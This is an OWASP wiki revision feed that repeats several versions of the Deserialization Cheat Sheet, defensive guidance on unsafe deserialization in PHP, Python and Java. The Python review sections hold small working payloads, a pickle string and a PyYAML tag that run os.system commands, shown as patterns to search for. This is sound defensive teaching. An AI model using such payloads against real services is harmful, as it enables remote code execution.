  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data may include 'ACED0005' in hex-ascii encoded bytes, it may suggest that the data was sent in Java serialization streams&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238693</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238693"/>
				<updated>2018-03-17T08:53:53Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accpected.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in python will be vulenerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML wiht load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data may include 'ACED0005' in hex-ascii encoded bytes, it may suggest that the data was sent in Java serialization streams&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238661</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238661"/>
				<updated>2018-03-16T10:11:36Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: co-authors&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accpected.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in python will be vulenerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML wiht load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
